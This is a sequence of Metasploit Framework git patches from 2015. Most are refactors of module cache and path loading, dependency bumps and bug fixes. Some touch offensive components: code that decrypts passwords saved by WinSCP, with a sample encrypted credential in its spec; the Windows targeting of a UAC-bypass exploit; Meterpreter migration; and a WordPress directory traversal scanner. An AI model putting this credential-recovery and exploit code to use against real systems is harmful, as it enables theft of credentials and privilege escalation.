- elsif !framework.db.error.nil? + if !! framework.db.error if framework.db.error.to_s =~ /RubyGem version.*pg.*0\.11/i print_error("***") print_error("*") @@ -217,12 +209,12 @@ class Driver < Msf::Ui::Driver # Initialize the module paths only if we didn't get passed a Framework instance and 'DeferModuleLoads' is false unless opts['Framework'] || opts['DeferModuleLoads'] # Configure the framework module paths - self.framework.init_module_paths - self.framework.modules.add_module_path(opts['ModulePath']) if opts['ModulePath'] + self.framework.init_module_paths(module_paths: opts['ModulePath']) + end - # Rebuild the module cache in a background thread - self.framework.threads.spawn("ModuleCacheRebuild", true) do - self.framework.modules.refresh_cache_from_module_files + if framework.db.active && opts['DeferModuleLoads'].nil? + if self.framework.modules.cache_empty? + print_status("The initial module cache will be built in the background, this can take 2-5 minutes...") end end From 2b03487e1f7e7d344f5164e491c24bad4418e150 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Tue, 1 Sep 2015 12:38:20 -0500 Subject: [PATCH 0457/2172] Fix the module cache rebuild logic --- lib/msf/ui/console/driver.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index 4d87ac8f80..914e0a787e 100644 --- a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -212,8 +212,11 @@ class Driver < Msf::Ui::Driver self.framework.init_module_paths(module_paths: opts['ModulePath']) end - if framework.db.active && opts['DeferModuleLoads'].nil? + if framework.db.active && !opts['DeferModuleLoads'] if self.framework.modules.cache_empty? + self.framework.threads.spawn("ModuleCacheRebuild", true) do + self.framework.modules.refresh_cache_from_module_files + end print_status("The initial module cache will be built in the background, this can take 2-5 minutes...") end end From 5addf899b2914fa2fcbcb31c9681d3724a5b1748 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Tue, 1 Sep 2015 13:15:44 -0500 Subject: [PATCH 0458/2172] Refactor, same intent as before, just faster and correct. --- lib/msf/base/simple/framework/module_paths.rb | 92 +++++++++---------- lib/msf/core/module_manager/cache.rb | 15 ++- 2 files changed, 53 insertions(+), 54 deletions(-) diff --git a/lib/msf/base/simple/framework/module_paths.rb b/lib/msf/base/simple/framework/module_paths.rb index 6839c3cada..d2ba08fc3f 100644 --- a/lib/msf/base/simple/framework/module_paths.rb +++ b/lib/msf/base/simple/framework/module_paths.rb @@ -9,61 +9,61 @@ module Msf def init_module_paths(opts={}) if @module_paths_inited fail "Module paths already initialized. To add more module paths call `modules.add_module_path`" - else - - additional_paths = opts.delete(:module_paths) - add_engine_module_paths(Rails.application, opts) - - Rails.application.railties.engines.each do |engine| - add_engine_module_paths(engine, opts) - end - - # Initialize the user module search path - if (Msf::Config.user_module_directory) - self.modules.add_module_path(Msf::Config.user_module_directory, opts) - end - - # If additional module paths have been defined globally, then load them. - # They should be separated by semi-colons. - if self.datastore['MsfModulePaths'] - self.datastore['MsfModulePaths'].split(";").each { |path| - self.modules.add_module_path(path, opts) - } - end - - # If the caller had additional paths to search, load them. - # They should be separated by semi-colons. - if additional_paths - additional_paths.split(";").each { |path| - self.modules.add_module_path(path, opts) - } - end - - # Update the module cache - self.modules.refresh_cache_from_database - - @module_paths_inited = true + return end + + allowed_module_paths = [] + extract_engine_module_paths(Rails.application).each do |path| + allowed_module_paths << path + end + + if Msf::Config.user_module_directory + allowed_module_paths << Msf::Config.user_module_directory + end + + Rails.application.railties.engines.each do |engine| + extract_engine_module_paths(engine).each do |path| + allowed_module_paths << path + end + end + + # If additional module paths have been defined globally, then load them. + # They should be separated by semi-colons. + self.datastore['MsfModulePaths'].to_s.split(";").each do |path| + allowed_module_paths << path + end + + # If the caller had additional paths to search, load them. + # They should be separated by semi-colons. + opts.delete(:module_paths).to_s.split(";").each do |path| + allowed_module_paths << path + end + + # Remove any duplicate paths + allowed_module_paths.uniq! + + # Update the module cache from the database + self.modules.refresh_cache_from_database(allowed_module_paths) + + # Load each of the module paths + allowed_module_paths.each do |path| + self.modules.add_module_path(path, opts) + end + + @module_paths_inited = true end private - # Add directories `engine.paths['modules']` from `engine`. + # Extract directories `engine.paths['modules']` from `engine`. # # @param engine [Rails::Engine] a rails engine or application # @param options [Hash] options for {Msf::ModuleManager::ModulePaths#add_module_paths} - # @return [void] - def add_engine_module_paths(engine, options={}) - modules_paths = engine.paths['modules'] - - if modules_paths - modules_directories = modules_paths.existent_directories - - modules_directories.each do |modules_directory| - modules.add_module_path(modules_directory, options) - end - end + # @return [Array<String>] The list of module paths to load + def extract_engine_module_paths(engine) + engine.paths['modules'] ? engine.paths['modules'].existent_directories : [] end + end end end diff --git a/lib/msf/core/module_manager/cache.rb b/lib/msf/core/module_manager/cache.rb index 6e56659a70..94a68ff4a2 100644 --- a/lib/msf/core/module_manager/cache.rb +++ b/lib/msf/core/module_manager/cache.rb @@ -120,8 +120,8 @@ module Msf::ModuleManager::Cache # Refreshes the in-memory cache from the database cache. # # @return [void] - def refresh_cache_from_database - self.module_info_by_path_from_database! + def refresh_cache_from_database(allowed_paths) + self.module_info_by_path_from_database!(allowed_paths) end protected @@ -149,11 +149,12 @@ module Msf::ModuleManager::Cache # @return [Hash{String => Hash{Symbol => Object}}] Maps path (Mdm::Module::Detail#file) to module information. Module # information is a Hash derived from Mdm::Module::Detail. It includes :modification_time, :parent_path, :type, # :reference_name. - def module_info_by_path_from_database! + def module_info_by_path_from_database!(allowed_paths) self.module_info_by_path = {} if framework_migrated? - loaded_paths = self.module_paths.map{|x| x + "/"} + allowed_paths = allowed_paths.map{|x| x + "/"} + ActiveRecord::Base.connection_pool.with_connection do # TODO record module parent_path in Mdm::Module::Detail so it does not need to be derived from file. # Use find_each so Mdm::Module::Details are returned in batches, which will @@ -163,10 +164,8 @@ module Msf::ModuleManager::Cache type = module_detail.mtype reference_name = module_detail.refname - # Skip cached modules that are not in our load path - if loaded_paths.select{|x| path.index(x) == 0}.empty? - next - end + # Skip cached modules that are not in our allowed load paths + next if allowed_paths.select{|x| path.index(x) == 0}.empty? typed_path = Msf::Modules::Loader::Base.typed_path(type, reference_name) # join to '' so that typed_path_prefix starts with file separator From 7d5ba8c85818ce5119d574fbffb1c8755eeb8cd9 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Tue, 1 Sep 2015 13:30:17 -0500 Subject: [PATCH 0459/2172] Fix specification --- spec/support/shared/examples/msf/module_manager/cache.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index 5a7029e24c..b936447203 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -292,7 +292,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do context '#refresh_cache_from_database' do def refresh_cache_from_database - module_manager.refresh_cache_from_database + module_manager.refresh_cache_from_database("") end it 'should call #module_info_by_path_from_database!' do From 31087ff33eac4f756669dc2409795ba121e5e1ba Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Tue, 1 Sep 2015 13:39:15 -0500 Subject: [PATCH 0460/2172] Refresh after cache rebuild should use the active module paths --- lib/msf/core/module_manager/cache.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/module_manager/cache.rb b/lib/msf/core/module_manager/cache.rb index 94a68ff4a2..9b9791c3e4 100644 --- a/lib/msf/core/module_manager/cache.rb +++ b/lib/msf/core/module_manager/cache.rb @@ -113,7 +113,7 @@ module Msf::ModuleManager::Cache framework.db.update_all_module_details end - refresh_cache_from_database + refresh_cache_from_database(self.module_paths) end end From 148a5ba78eae861fc5db4cc73a069710adba1ea7 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Tue, 1 Sep 2015 13:45:46 -0500 Subject: [PATCH 0461/2172] A better solution for the spec coverage --- lib/msf/core/module_manager/cache.rb | 4 ++-- spec/support/shared/examples/msf/module_manager/cache.rb | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/module_manager/cache.rb b/lib/msf/core/module_manager/cache.rb index 9b9791c3e4..7e3174fb7e 100644 --- a/lib/msf/core/module_manager/cache.rb +++ b/lib/msf/core/module_manager/cache.rb @@ -120,7 +120,7 @@ module Msf::ModuleManager::Cache # Refreshes the in-memory cache from the database cache. # # @return [void] - def refresh_cache_from_database(allowed_paths) + def refresh_cache_from_database(allowed_paths="") self.module_info_by_path_from_database!(allowed_paths) end @@ -149,7 +149,7 @@ module Msf::ModuleManager::Cache # @return [Hash{String => Hash{Symbol => Object}}] Maps path (Mdm::Module::Detail#file) to module information. Module # information is a Hash derived from Mdm::Module::Detail. It includes :modification_time, :parent_path, :type, # :reference_name. - def module_info_by_path_from_database!(allowed_paths) + def module_info_by_path_from_database!(allowed_paths="") self.module_info_by_path = {} if framework_migrated? diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index b936447203..5a7029e24c 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -292,7 +292,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do context '#refresh_cache_from_database' do def refresh_cache_from_database - module_manager.refresh_cache_from_database("") + module_manager.refresh_cache_from_database end it 'should call #module_info_by_path_from_database!' do From b2738939473f6c1e15a8d82e1c779e1efbec5f4a Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Tue, 1 Sep 2015 14:07:05 -0500 Subject: [PATCH 0462/2172] use URI.parse over a custom regex --- .../ui/console/command_dispatcher/core.rb | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index f3236455e2..da49534692 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -792,16 +792,17 @@ class Console::CommandDispatcher::Core end if !transport_index.zero? && @transport_map.has_key?(transport_index) - url_to_remove = @transport_map[transport_index][:url] + # validate the URL + url_to_delete = @transport_map[transport_index][:url] + begin + uri = URI.parse(url_to_delete) + opts[:transport] = "reverse_#{uri.scheme}" + opts[:lhost] = uri.host + opts[:lport] = uri.port + opts[:uri] = uri.path[1..-2] if uri.scheme.include?("http") - # crack the url and fill in the opts hash - if url_to_remove =~ /^(.*):\/\/(.*):(\d+)(\/.*)?/ - opts[:transport] = "reverse_#{$1}" - opts[:lhost] = $2 - opts[:lport] = $3 - opts[:uri] = $4[1..-2] if opts[:transport].include?("http") - else - print_error("Failed to parse URL") + rescue URI::InvalidURIError + print_error("Failed to parse URL: #{url_to_delete}") return end end From 8e1a0e039eecd902e4e609a422d38f2517b650c1 Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Tue, 1 Sep 2015 22:04:35 +0100 Subject: [PATCH 0463/2172] Add spec --- spec/lib/rex/parser/winscp_spec.rb | 98 ++++++++++++++++++++++++++++++ 1 file changed, 98 insertions(+) create mode 100644 spec/lib/rex/parser/winscp_spec.rb diff --git a/spec/lib/rex/parser/winscp_spec.rb b/spec/lib/rex/parser/winscp_spec.rb new file mode 100644 index 0000000000..bbe41a0512 --- /dev/null +++ b/spec/lib/rex/parser/winscp_spec.rb @@ -0,0 +1,98 @@ +require 'rex/parser/winscp' + +INI_SECURITY = "[Configuration\\Security]\nUseMasterPassword=1\nMasterPasswordVerifier=\n" + +USERNAME = 'username' +HOST = 'server.feralhosting.com' +PASSWORD='A35C7659654B2AB83C292F392E323D31392F392E2A392E723A392E3D3034332F2835323B723F33312F383A2F383A3B2F3B3B3B' +SAMPLE_INI = <<-END +[Sessions\\username@server.feralhosting.com] +HostName=#{HOST} +Timeout=6000 +SshProt=3 +UserName=#{USERNAME} +UpdateDirectories=0 +Utf=1 +Password=#{PASSWORD} +Shell=/bin/bash} +END + +describe Rex::Parser::WinSCP do + let(:target) do + d = Class.new { include Rex::Parser::WinSCP } + d.new + end + + context "#parse_protocol" do + it "returns 'Unknown' for unknown protocols" do + expect(target.parse_protocol(nil)).to eq('Unknown') + expect(target.parse_protocol(99)).to eq('Unknown') + expect(target.parse_protocol('stuff')).to eq('Unknown') + end + + it "returns 'SSH' for protocol 0" do + expect(target.parse_protocol(0)).to eq('SSH') + end + + it "returns 'FTP' for protocol 5" do + expect(target.parse_protocol(5)).to eq('FTP') + end + end + + context "#decrypt_next_char" do + it "returns 0 and the pwd if pwd length <= 0" do + r, pwd = target.decrypt_next_char('') + expect(r).to eq(0) + expect(pwd).to eq('') + end + + it "strips the first two characters from the return value" do + _, pwd = target.decrypt_next_char('A3') + expect(pwd).to eq('') + end + + it "returns 255 for 'A3'" do + r, _ = target.decrypt_next_char('A3') + expect(r).to eq(Rex::Parser::WinSCP::PWDALG_SIMPLE_FLAG) + end + end + + context "#decrypt_password" do + it "returns 'sdfsdfgsggg' for the example password" do + expect(target.decrypt_password(PASSWORD, "#{USERNAME}#{HOST}")).to eq('sdfsdfgsggg') + end + end + + context "#parse_ini" do + it "raises a RuntimeError if ini is nil or empty" do + expect { target.parse_ini('') }.to raise_error(RuntimeError, /No data/i) + expect { target.parse_ini(nil) }.to raise_error(RuntimeError, /No data/i) + end + + it "raises a RuntimeError if UseMasterPassword is 1" do + expect { target.parse_ini(INI_SECURITY) }.to raise_error(RuntimeError, /Master/i) + end + + it "parses the example ini" do + r = target.parse_ini(SAMPLE_INI).first + expect(r[:hostname]).to eq(HOST) + expect(r[:password]).to eq('sdfsdfgsggg') + expect(r[:username]).to eq(USERNAME) + expect(r[:protocol]).to eq('SSH') + expect(r[:portnumber]).to eq(22) + end + end + + context "#read_and_parse_ini" do + it "returns nil if file is empty or doesn't exist" do + File.stub(:read).and_return(nil) + expect(target.read_and_parse_ini('blah')).to be nil + end + + it "parses the example ini and return a single result" do + File.stub(:read).and_return(SAMPLE_INI) + expect(target.read_and_parse_ini(SAMPLE_INI).count).to eq 1 + end + end +end + From 2cd6b1c2dfa413a57924c89e33e82da100c7491a Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Tue, 1 Sep 2015 22:05:47 +0100 Subject: [PATCH 0464/2172] Update parser, fix UseMasterPassword bug --- lib/rex/parser/winscp.rb | 68 +++++++++++++++++++++------------------- 1 file changed, 35 insertions(+), 33 deletions(-) diff --git a/lib/rex/parser/winscp.rb b/lib/rex/parser/winscp.rb index c9039f232d..fbfc2a0c35 100644 --- a/lib/rex/parser/winscp.rb +++ b/lib/rex/parser/winscp.rb @@ -3,6 +3,9 @@ require 'rex/parser/ini' module Rex module Parser module WinSCP + PWDALG_SIMPLE_MAGIC = 0xA3 + PWDALG_SIMPLE_FLAG = 0xFF + def read_and_parse_ini(filename) file = File.read(filename) return if file.to_s.empty? @@ -10,7 +13,9 @@ module Parser end def parse_protocol(fsprotocol) - case fsprotocol.to_i + return 'Unknown' if fsprotocol.nil? + + case fsprotocol when 5 then 'FTP' when 0 then 'SSH' else @@ -26,7 +31,7 @@ module Parser if ini['Configuration\\Security'] # if a Master Password is in use we give up - if ini['Configuration\\Security']['MasterPassword'].to_i == 1 + if ini['Configuration\\Security']['UseMasterPassword'].to_i == 1 raise RuntimeError, 'Master Password Set, unable to recover saved passwords!' end end @@ -38,7 +43,7 @@ module Parser encrypted_password = ini[group]['Password'] user = ini[group]['UserName'] host = ini[group]['HostName'] - sname = parse_protocol(ini[group]['FSProtocol']) + sname = parse_protocol(ini[group]['FSProtocol'].to_i) plaintext = decrypt_password(encrypted_password, "#{user}#{host}") results << { @@ -54,49 +59,46 @@ module Parser results end - def decrypt_next_char - pwalg_simple_magic = 0xA3 - pwalg_simple_string = "0123456789ABCDEF" - - # Decrypts the next character in the password sequence - if @password.length > 0 - # Takes the first char from the encrypted password and finds its position in the - # pre-defined string, then left shifts the returned index by 4 bits - unpack1 = pwalg_simple_string.index(@password[0,1]) - unpack1 = unpack1 << 4 - - # Takes the second char from the encrypted password and finds its position in the - # pre-defined string - unpack2 = pwalg_simple_string.index(@password[1,1]) - # Adds the two results, XORs against 0xA3, NOTs it and then ands it with 0xFF - result= ~((unpack1+unpack2) ^ pwalg_simple_magic) & 0xff - # Strips the first two chars off and returns our result - @password = @password[2,@password.length] - return result + # Decrypts the next character in the password sequence + def decrypt_next_char(pwd) + if pwd.nil? || pwd.length <= 0 + return 0, pwd end + + # Takes the first char from the encrypted password and then left shifts the returned index by 4 bits + a = pwd[0].hex << 4 + + # Takes the second char from the encrypted password + b = pwd[1].hex + + # Adds the two results, XORs against 0xA3, NOTs it and then ANDs it with 0xFF + result = ~((a + b) ^ PWDALG_SIMPLE_MAGIC) & PWDALG_SIMPLE_FLAG + + # Strips the first two chars off and returns our result + return result, pwd[2..-1] end def decrypt_password(pwd, key) - pwalg_simple_flag = 0xFF - @password = pwd - flag = decrypt_next_char() + flag, pwd = decrypt_next_char(pwd) - if flag == pwalg_simple_flag - decrypt_next_char() - length = decrypt_next_char() + if flag == PWDALG_SIMPLE_FLAG + _, pwd = decrypt_next_char(pwd) + length, pwd = decrypt_next_char(pwd) else length = flag end - ldel = (decrypt_next_char())*2 - @password = @password[ldel,@password.length] + + del, pwd = decrypt_next_char(pwd) + pwd = pwd[del*2..-1] result = "" length.times do - result << decrypt_next_char().chr + r, pwd = decrypt_next_char(pwd) + result << r.chr end - if flag == pwalg_simple_flag - result = result[key.length, result.length] + if flag == PWDALG_SIMPLE_FLAG + result = result[key.length..-1] end result From 27775fbe58e79be7da81f848091ebb9fa01ea0f3 Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Tue, 1 Sep 2015 22:23:37 +0100 Subject: [PATCH 0465/2172] Restrict to 7 and 2k8 --- modules/exploits/windows/local/bypassuac_vbs.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/bypassuac_vbs.rb b/modules/exploits/windows/local/bypassuac_vbs.rb index b0bd3bf416..2350a01716 100644 --- a/modules/exploits/windows/local/bypassuac_vbs.rb +++ b/modules/exploits/windows/local/bypassuac_vbs.rb @@ -124,7 +124,7 @@ class Metasploit3 < Msf::Exploit::Local winver = sysinfo['OS'] case winver - when /Windows (7|8|2008|2012)/ + when /Windows (7|2008)/ print_good("#{winver} may be vulnerable.") else fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.") From 409f2bd016faea62f80a91f4bad953e76834e78f Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Tue, 1 Sep 2015 16:34:28 -0500 Subject: [PATCH 0466/2172] Agh, didn't mean to enable that It's never worked --- lib/msf/util/exe.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index e40a373822..7d6ea6e274 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -641,7 +641,7 @@ require 'msf/core/exe/segment_appender' opts[:exe_type] = :dll if opts[:inject] - self.to_win64pe(framework, code, opts) + raise RuntimeError, 'Template injection unsupported for x64 DLLs' else exe_sub_method(code,opts) end From 6ea25a465b891fe2f4e8584357a16b7ebba6be71 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Tue, 1 Sep 2015 17:35:23 -0500 Subject: [PATCH 0467/2172] update to metasploit-payloads 1.0.11 --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 561cd0b6f8..cbbf9398aa 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -9,7 +9,7 @@ PATH json metasploit-concern (= 1.0.0) metasploit-model (= 1.0.0) - metasploit-payloads (= 1.0.10) + metasploit-payloads (= 1.0.11) msgpack nokogiri packetfu (= 1.1.9) @@ -123,7 +123,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.10) + metasploit-payloads (1.0.11) metasploit_data_models (1.2.5) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index c96d7fe78c..718c9c274b 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -61,7 +61,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.0.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.0.10' + spec.add_runtime_dependency 'metasploit-payloads', '1.0.11' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler From de8205a42eca3db045f9ee20ba43e36238327d10 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Tue, 1 Sep 2015 17:48:56 -0500 Subject: [PATCH 0468/2172] Fix the defaults for module_info_by_path_from_database! --- lib/msf/core/module_manager/cache.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/module_manager/cache.rb b/lib/msf/core/module_manager/cache.rb index 7e3174fb7e..a0c7f34856 100644 --- a/lib/msf/core/module_manager/cache.rb +++ b/lib/msf/core/module_manager/cache.rb @@ -120,7 +120,7 @@ module Msf::ModuleManager::Cache # Refreshes the in-memory cache from the database cache. # # @return [void] - def refresh_cache_from_database(allowed_paths="") + def refresh_cache_from_database(allowed_paths=[""]) self.module_info_by_path_from_database!(allowed_paths) end @@ -149,7 +149,7 @@ module Msf::ModuleManager::Cache # @return [Hash{String => Hash{Symbol => Object}}] Maps path (Mdm::Module::Detail#file) to module information. Module # information is a Hash derived from Mdm::Module::Detail. It includes :modification_time, :parent_path, :type, # :reference_name. - def module_info_by_path_from_database!(allowed_paths="") + def module_info_by_path_from_database!(allowed_paths=[""]) self.module_info_by_path = {} if framework_migrated? From 56a1cfd9c8d9f06ea916329610c537b094ee9f98 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Tue, 1 Sep 2015 18:02:16 -0500 Subject: [PATCH 0469/2172] updated cached payload sizes --- modules/payloads/singles/php/meterpreter_reverse_tcp.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb index f8680550e5..dfd56e1440 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_options' module Metasploit4 - CachedSize = 25685 + CachedSize = 26128 include Msf::Payload::Single include Msf::Payload::Php::ReverseTcp From 3c72467b7d33cf8e5c927d67baa3010c5d492fc1 Mon Sep 17 00:00:00 2001 From: Alexander Salmin <alexander@salmin.biz> Date: Wed, 2 Sep 2015 01:02:46 +0200 Subject: [PATCH 0470/2172] Fixes bug where "cert.rb:47: warning: flags ignored" happens due to some issuer patterns. --- modules/auxiliary/scanner/http/cert.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/cert.rb b/modules/auxiliary/scanner/http/cert.rb index e568f342f7..07eb621360 100644 --- a/modules/auxiliary/scanner/http/cert.rb +++ b/modules/auxiliary/scanner/http/cert.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Auxiliary return end - issuer_pattern = Regexp.new(datastore['ISSUER'], [Regexp::EXTENDED, 'n']) + issuer_pattern = Regexp.new(datastore['ISSUER']) sub = cert.subject.to_a before = Time.parse("#{cert.not_before}") From 0d2df339009be230285f9e81a5ee60fdc3352e49 Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Wed, 2 Sep 2015 09:35:51 +1000 Subject: [PATCH 0471/2172] Fix two typos, add help detail --- .../post/meterpreter/ui/console/command_dispatcher/core.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 167f3079a1..af913da651 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -782,7 +782,7 @@ class Console::CommandDispatcher::Core end @@migrate_opts = Rex::Parser::Arguments.new( - '-p' => [true, 'Writable path (eg. /tmp).'], + '-p' => [true, 'Writable path - Linux only (eg. /tmp).'], '-t' => [true, 'The number of seconds to wait for migration to finish (default: 60).'], '-h' => [false, 'Help menu.'] ) @@ -826,7 +826,7 @@ class Console::CommandDispatcher::Core when '-t' opts[:timeout] = val.to_i when '-p' - writable_dir] = val + writable_dir = val end end @@ -873,7 +873,7 @@ class Console::CommandDispatcher::Core if client.platform =~ /linux/ client.core.migrate(pid, writable_dir, opts) else - client.core.migrate(pid, opts = opts) + client.core.migrate(pid, opts: opts) end print_status('Migration completed successfully.') From 8191fac90fa109b4b484094806746087a175c9bc Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Tue, 1 Sep 2015 18:37:28 -0500 Subject: [PATCH 0472/2172] Fix #5907 by replacing String#delete with String#gsub The String#delete method treats the argument as a transliteration. This means that hyphens (-) either turn into a character range or they throw an error if the range is invalid. This ended up breaking one encoder and may be the root cause of other hard-to-reproduce bugs. --- lib/rex/text.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/rex/text.rb b/lib/rex/text.rb index b5dfe85fb9..fc68dd4c59 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -1522,7 +1522,8 @@ module Text # @param data [#delete] # @param badchars [String] A list of characters considered to be bad def self.remove_badchars(data, badchars = '') - data.delete(badchars) + badchars_pat = badchars.unpack("C*").map{|c| "\\x%.2x" % c}.join + data.gsub!(/[#{badchars_pat}]/n, '') end # @@ -1531,7 +1532,8 @@ module Text # @param keepers [String] # @return [String] All characters not contained in +keepers+ def self.charset_exclude(keepers) - [*(0..255)].pack('C*').delete(keepers) + keepers_pat = keepers.unpack("C*").map{|c| "\\x%.2x" % c}.join + [*(0..255)].pack("C*").gsub(/[^#{keepers_pat}]/n, '') end # From 96600a96ab3c8ec43ab40335bbb14d5ebeb70922 Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Tue, 1 Sep 2015 22:03:21 -0300 Subject: [PATCH 0473/2172] Changed html parse by @wchen-r7 --- .../http/wp_nextgen_galley_file_read.rb | 33 ++++++++++++------- 1 file changed, 22 insertions(+), 11 deletions(-) diff --git a/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb b/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb index 4c80d5d930..6477a1b51a 100644 --- a/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb @@ -4,6 +4,8 @@ ## require 'msf/core' +require 'json' +require 'nokogiri' class Metasploit3 < Msf::Auxiliary @@ -76,6 +78,20 @@ class Metasploit3 < Msf::Auxiliary res.body.scan(/var browse_params = {"nextgen_upload_image_sec":"(.+)"};/).flatten.first end + def parse_paths(res) + begin + j = JSON.parse(res.body) + rescue JSON::ParserError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + return [] + end + + html = j['html'] + noko = Nokogiri::HTML(html) + links = noko.search('a') + links.collect { |e| normalize_uri("#{datastore['DIRPATH']}/#{e.text}") } + end + def run_host(ip) vprint_status("#{peer} - Trying to login as: #{user}") cookie = wordpress_login(user, password) @@ -114,22 +130,17 @@ class Metasploit3 < Msf::Auxiliary 'cookie' => cookie ) - if res && res.code == 200 && res.body && res.body.to_s.length > 0 - begin - results = JSON.parse(res.body)['html'] - rescue JSON::ParserError - vprint_error("#{peer} - Unable to parse JSON") - return - end + if res && res.code == 200 - res_new = results.gsub(/<u(.*)>/, '').gsub(/<\/ul>/, '').gsub(/<l(.*)"\/..\/..\/..\/../, '').gsub(/"(.*)i>/, '') - vprint_line("#{res_new}") - fname = datastore['FILEPATH'] + paths = parse_paths(res) + vprint_line(paths * "\n") + + fname = datastore['DIRPATH'] path = store_loot( 'nextgen.traversal', 'text/plain', ip, - res_new, + paths, fname ) From 626704079d6fe125d555352843541ddfbd4ff621 Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Wed, 2 Sep 2015 00:18:10 -0300 Subject: [PATCH 0474/2172] Changed output store_loot --- modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb b/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb index 6477a1b51a..9805311524 100644 --- a/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb @@ -140,7 +140,7 @@ class Metasploit3 < Msf::Auxiliary 'nextgen.traversal', 'text/plain', ip, - paths, + paths * "\n", fname ) From 381297ba93c912746f41813df6d6b1a989747869 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Tue, 1 Sep 2015 23:07:48 -0500 Subject: [PATCH 